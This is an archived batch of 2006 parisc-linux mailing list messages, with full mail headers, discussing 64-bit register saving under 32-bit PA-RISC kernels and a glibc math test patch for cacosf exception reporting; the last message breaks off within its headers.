Original-Received: from ccerelrim04.cce.hp.com (localhost.localdomain [127.0.0.1])
	by receive-from-antispam-filter (Postfix) with SMTP id AFAD1401B;
	Sun, 14 May 2006 00:07:06 -0500 (CDT)
Original-Received: from mailstation.cce.hp.com (mailstation.cce.hp.com [161.114.20.124])
	(using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits))
	(No client certificate requested)
	by ccerelrim04.cce.hp.com (Postfix) with ESMTP id 504E84016;
	Sun, 14 May 2006 00:07:03 -0500 (CDT)
Original-Received: from [10.0.0.2] (jasmine.themarvins.org [207.224.38.126])
	by mailstation.cce.hp.com (Postfix) with ESMTP
	id 080C2D67F; Sun, 14 May 2006 00:07:03 -0500 (CDT)
User-Agent: Thunderbird 1.5.0.2 (Windows/20060308)
In-Reply-To: <200605132335.k4DNZmAY002050@hiauly1.hia.nrc.ca>
X-PMX-Version: 5.1.2.240295, Antispam-Engine: 2.3.0.1,
	Antispam-Data: 2006.5.13.214605
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZtITd+0NODBpsLWUfGRMTEA1Ji9SWlKM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23679

John David Anglin wrote:

> 
> I don't believe that it's impossible to support the full register width
> with a 32bit (narrow) kernel.  However, hpux to my knowledge doesn't
> support 64-bit registers when using a narrow kernel.  I think this
> reflects the historical development of hpux.  The first PA 2.0 kernels
> were narrow and based on the 32-bit PA 1.1 implementation.  Wide kernels
> were introduced with HP-UX 11.
> 

You are correct.

If you are running a 32 bit version of hpux on a 64 bit machine then the 
upper halfs of registers are not saved. I will note that there are not 
many (and may no longer be any) 64 bit machines that HP supports running 
a 32 bit kernel on.

If you are running a 64 bit version of hpux then the upper halfs of 
registers are saved during context switches, even if you are running a 
32 bit app. It gets interesting in a signal handler, since the registers 
are saved in the signal context twice, i.e. the 32 bit lower halfs are 
saved in one place (for backwards object compatibility), and then the 64 
bit versions are saved in another. I forget all the details about what 
happens if you want to change the saved value in the signal context.

John
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] using 64bit wide registers with 32bit kernel
Date: Sun, 14 May 2006 00:27:17 -0600
Lines: 50
Approved: news@gmane.org
Message-ID: <20060514062717.GA25973@colo.lackof.org>
References: <7d01f9f00605131543p1458c0c9l55863d71f1a039d8@mail.gmail.com>
	<200605132335.k4DNZmAY002050@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624087 19592 80.91.229.3 (22 Nov 2014 02:41:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Thibaut VARENE <T-Bone@parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 May 2006 06:27:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 14 May 2006 08:27:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 29E177D6FB;
	Sun, 14 May 2006 00:27:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01013-02; Sun, 14 May 2006 00:27:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED5417D6FC;
	Sun, 14 May 2006 00:27:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A0407D6F9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 May 2006 00:27:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00510-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 May 2006 00:27:06 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 4EB157D6F8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 May 2006 00:27:06 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 63DC54581F9;
	Sun, 14 May 2006 00:27:18 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25604-08; Sun, 14 May 2006 00:27:17 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0FB494581CE; Sun, 14 May 2006 00:27:17 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200605132335.k4DNZmAY002050@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /PpTcK1/TiEtoqyUaGRwtFt1ZUVSRBcB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23680

On Sat, May 13, 2006 at 07:35:48PM -0400, John David Anglin wrote:
> > Are you trying to say that userspace code shouldn't be using the full
> > registers width when running a 32bit (narrow) kernel?
> 
> I don't believe that it's impossible to support the full register width
> with a 32bit (narrow) kernel.  However, hpux to my knowledge doesn't
> support 64-bit registers when using a narrow kernel.

I believe later 10.20 updates/patches to support PA2.0 processors did
in fact support saving/restoring 64-bits. But it's been a _long_
time since I've look at that.

> I think this
> reflects the historical development of hpux.  The first PA 2.0 kernels
> were narrow and based on the 32-bit PA 1.1 implementation.

Correct. Mostly in the form of 10.20 patches.

> Wide kernels were introduced with HP-UX 11.

Trivia: 10.30 was a T600/customer specific release that
provided 64-bit support before 11.00 was ready.

...
> Personally, I think the wide register support is most important
> when running a 64-bit kernel and that's the place it would be
> easiest to implement.  I can see that there are situations where
> it would be nice to use 64-bit registers on a narrow kernel but
> this would change the size of register files, the context passed
> to signal handlers, etc.

Oh..good point. I'm really not willing to tolerate an ABI event
for this kind of perf optimization. I'd much rather start advocating
use of 64-bit kernels in order to enable use of MAX insns.

Until HP 24-bit color gfx PCI cards work on pa2.0, I don't
see a good reason to implement this. Maybe 8-bit color with
a private color map is sufficient...


thanks,
grant

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Next step in glibc test math failures analysis ;-)
Date: Sun, 14 May 2006 12:06:25 +0000
Lines: 137
Approved: news@gmane.org
Message-ID: <44671D41.6010401@tiscali.be>
References: <IZ03Y4$9E8A6266AB8A578EB25FE5A0BE2593A0@scarlet.be>
	<119aab440605091805q741bba07i3d50aee4299e6d82@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624087 19594 80.91.229.3 (22 Nov 2014 02:41:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:27 +0000 (UTC)
Cc: dave <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 May 2006 12:06:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx012) with SMTP; 14 May 2006 14:06:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C66C27D71E;
	Sun, 14 May 2006 06:06:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03563-05; Sun, 14 May 2006 06:06:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3B65B7D71F;
	Sun, 14 May 2006 06:06:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 282BD7D71B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 May 2006 06:06:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03572-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 May 2006 06:06:42 -0600 (MDT)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id BE1637D715
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 May 2006 06:06:41 -0600 (MDT)
Original-Received: from (ip-62-235-233-79.dial.scarlet.be [62.235.233.79]) 
	by guri.is.scarlet.be  with ESMTP id k4EC6VW20265; 
	Sun, 14 May 2006 14:06:31 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.12) Gecko/20060205 Debian/1.7.12-1.1
X-Accept-Language: en
In-Reply-To: <119aab440605091805q741bba07i3d50aee4299e6d82@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: M2gOd5h2eWU3uq2TZm9nLYErL0tsZk2H
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23681



Hello all,

Next investigation are obviously:
/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/test-float.out
::::::::::::::
testing float (without inline functions)
Failure: Real part of: cacos (inf + NaN i) == NaN + inf i plus sign of zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: cacos (-inf + NaN i) == NaN + inf i plus sign of zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: cacos (NaN + inf i) == NaN - inf i: Exception "Invalid operation" set
Failure: Real part of: cacos (NaN - inf i) == NaN + inf i: Exception "Invalid operation" set
Failure: Real part of: cacos (NaN + NaN i) == NaN + NaN i: Exception "Invalid operation" set
Failure: Real part of: ccosh (inf + NaN i) == inf + NaN i: Exception "Invalid operation" set
Failure: Real part of: ccosh (-inf + NaN i) == inf + NaN i: Exception "Invalid operation" set
Failure: Real part of: cpow (NaN + NaN i, NaN + NaN i) == NaN + NaN i: Exception "Invalid operation" set
Failure: Real part of: csinh (0.0 + NaN i) == 0.0 + NaN i plus sign of zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: csinh (-0 + NaN i) == 0.0 + NaN i plus sign of zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: csinh (inf + NaN i) == inf + NaN i plus sign of zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: csinh (-inf + NaN i) == inf + NaN i plus sign of zero/inf not specified: Exception "Invalid operation" set

First thought, the reported failure is very unrelevent: the actual pb is not related to computed value but well because cacos() let 
fpu flag with "Invalid operation" set. So imho this 1st patch:
--- libm-test.inc.Orig 2006-05-12 12:02:10.000000000 +0000
+++ libm-test.inc 2006-05-12 15:39:31.000000000 +0000
@@ -549,14 +549,19 @@
    int part_xfail;
    char str[200];

+  /* report first what computation did */
+  test_exceptions (test_name, exception);
+
    sprintf (str, "Real part of: %s", test_name);
    part_comp = __real__ computed;
    part_exp = __real__ expected;
    part_max_ulp = __real__ max_ulp;
    part_xfail = __real__ xfail;

+  /* Don't check again for exceptions, just pass through the
+     zero/inf sign test.  */
    check_float_internal (str, part_comp, part_exp, part_max_ulp, part_xfail,
-   exception, &real_max_error);
+   exception & IGNORE_ZERO_INF_SIGN, &real_max_error);

    sprintf (str, "Imaginary part of: %s", test_name);
    part_comp = __imag__ computed;
@@ -564,11 +569,8 @@
    part_max_ulp = __imag__ max_ulp;
    part_xfail = __imag__ xfail;

-  /* Don't check again for exceptions, just pass through the
-     zero/inf sign test.  */
    check_float_internal (str, part_comp, part_exp, part_max_ulp, part_xfail,
-   exception & IGNORE_ZERO_INF_SIGN,
-   &imag_max_error);
+   exception & IGNORE_ZERO_INF_SIGN, &imag_max_error);
  }


====<>====

would better report the actual pb like this test:
Failure: cacos (inf + NaN i) == NaN + inf i plus sign of zero/inf not specified: Exception "Invalid operation" set

Would it have a chance to be accepted?

That said, for now I just know that for the first failure only, the pb occure in:
__complex__ float
__cacosf (__complex__ float x)
{
   __complex__ float y;
   __complex__ float res;

   y = __casinf (x);

   __real__ res = (float) M_PI_2 - __real__ y;
   __imag__ res = -__imag__ y;

   return res;
}

when the "_real_ res" is computed.

The test "check_complex ("casin (inf + NaN i) == NaN + inf i plus sign of zero/inf not specified" pass well so the the computation 
would be __real__ res = (double) M_PI_2 - NaN.

And also seems to confirm my very first feeling: this formula is mathematicaly right but may be presents some lakes of numerical 
implementation like is the brotherhood funct:
__complex__ float
__casinf (__complex__ float x)
{
   __complex__ float res;

   if (isnan (__real__ x) || isnan (__imag__ x))
     {
       if (__real__ x == 0.0)
         {
           res = x;
         }
       else if (__isinff (__real__ x) || __isinff (__imag__ x))
         {
           __real__ res = __nanf ("");
           __imag__ res = __copysignf (HUGE_VALF, __imag__ x);
         }
       else
         {
           __real__ res = __nanf ("");
           __imag__ res = __nanf ("");
         }
     }
   else
     {
       __complex__ float y;

       __real__ y = -__imag__ x;
       __imag__ y = __real__ x;

       y = __casinhf (y);

       __real__ res = __imag__ y;
       __imag__ res = -__real__ y;
     }

   return res;
}

So my next question is: is some of you know a similar implementation of cacosf()? or what would be the results of cacosf() for 
various limit figure with nan, 0.0 and infinity?

Thanks in advance,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] using 64bit wide registers with 32bit kernel
Date: Sun, 14 May 2006 00:32:33 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <7d01f9f00605131532n39626580j370336a67c98e0af@mail.gmail.com>
References: <7d01f9f00605130841v6185b06dybae82c9f9c77e2b4@mail.gmail.com>
	<1147539787.6632.7.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624088 19602 80.91.229.3 (22 Nov 2014 02:41:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 May 2006 22:32:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 14 May 2006 00:32:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 06A427D704;
	Sat, 13 May 2006 16:32:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30195-08; Sat, 13 May 2006 16:32:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 590197D701;
	Sat, 13 May 2006 16:32:41 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE31F7D6FF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 16:32:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30195-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 16:32:35 -0600 (MDT)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.193])
	by free.linux.hp.com (Postfix) with ESMTP id BF64E7D6FD
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 16:32:35 -0600 (MDT)
Original-Received: by nz-out-0102.google.com with SMTP id i28so683707nzi
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 15:32:33 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=RuiE7iaiYMtzZNXE7y0Y82ijn0lxhl3J1BOAGzhPEpAruhbgljN60LFlWdgFXJVDuMf1E4WBUoczMz4wS5mMmIQqMg+PZwGlS6XZL3YuMGIyuMLm2wuUCNe8PxCNAidBmtzIejecsSZw74mkqMJrty4DfO6mOMnHyfzeo4GoVSk=
Original-Received: by 10.37.15.59 with SMTP id s59mr4274862nzi;
	Sat, 13 May 2006 15:32:33 -0700 (PDT)
Original-Received: by 10.36.247.36 with HTTP; Sat, 13 May 2006 15:32:33 -0700 (PDT)
In-Reply-To: <1147539787.6632.7.camel@mulgrave.il.steeleye.com>
Content-Disposition: inline
X-Google-Sender-Auth: 8b51fd594faa4836
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oWlUdeAQIyd18PqQe2drBOxaa2FkZpV5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23682

On 5/13/06, James Bottomley <James.Bottomley@steeleye.com> wrote:
> On Sat, 2006-05-13 at 17:41 +0200, Thibaut VARENE wrote:
> > 1) we claim what I'm trying to do should not be done on parisc-linux
> > =3D> using ldd/std, MAX2 and other insns that rely on 64bit regs should
> > be prohibited by binutils for non-wide code (currently gcc/binutils
> > happily build my code with -mpa-risc-2-0, which generates level 2.0
> > non wide code)
>
> I really don't think doubling the size of our register file on all tasks
> and doubling the size of the saved registers on stack for interruptions
> is really a sensible thing to do just so some multi-media extension can
> be made to work.

that's not my point. It's not only about "some multimedia extension".
It's about being able to do 64bit logic on 64bit-wide registers with
32bit kernels...

> > 2) we claim what I'm trying to do should be possible on parisc-linux
> > =3D> we need to fix context switching in 32bit kernels.
> >
> > Comments?
>
> There is a third possibility, and that's to execute the instruction in
> the kernel where there wouldn't be a danger of context switches, where
> the return values could be packaged properly and where it could be
> emulated if necessary.  It would be nice to use a vDSO for this, but I
> suspect Carlos' lightweight semaphore infrastructure can be pressed into
> service for this.

If by "executing the instruction" you mean one specific insn, that
sounds like a nightmare to me. I've got some routines asm-optimized
that are about 15 lines of asm. Each of these routines handle packs of
16 pixels. On a 640x480@25fps movie for instance, these routines would
typically be called at least 480000 times per second, and they're
expected to be executed as fast as possible (which is the whole point
of doing them in hand crafted asm)...

I don't know about vDSO, but the thought of having to call something
in the kernel in that perspective doesn't feel about right to me. I've
been reading other archs optimizations, and all do straight forward
asm computation.

What I'm looking for is a way to use the architecture to the best of
its design, and said design comprises 64bit wide GPRs...

If that's not possible in parisc-linux, fine, I'd just like to have
this clarified so I don't waste my time on pointless code :-)

HTH

T-Bone

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] using 64bit wide registers with 32bit kernel
Date: Sun, 14 May 2006 00:43:36 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <7d01f9f00605131543p1458c0c9l55863d71f1a039d8@mail.gmail.com>
References: <7d01f9f00605130841v6185b06dybae82c9f9c77e2b4@mail.gmail.com>
	<200605131707.k4DH765S029172@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624088 19605 80.91.229.3 (22 Nov 2014 02:41:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 May 2006 22:43:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx068) with SMTP; 14 May 2006 00:43:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 46C1B7D708;
	Sat, 13 May 2006 16:43:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30667-05; Sat, 13 May 2006 16:43:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E0FFA7D709;
	Sat, 13 May 2006 16:43:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 532707D701
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 16:43:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30667-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 16:43:39 -0600 (MDT)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.203])
	by free.linux.hp.com (Postfix) with ESMTP id 548507D6FF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 16:43:39 -0600 (MDT)
Original-Received: by nz-out-0102.google.com with SMTP id i1so738708nzh
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 15:43:36 -0700 (PDT)
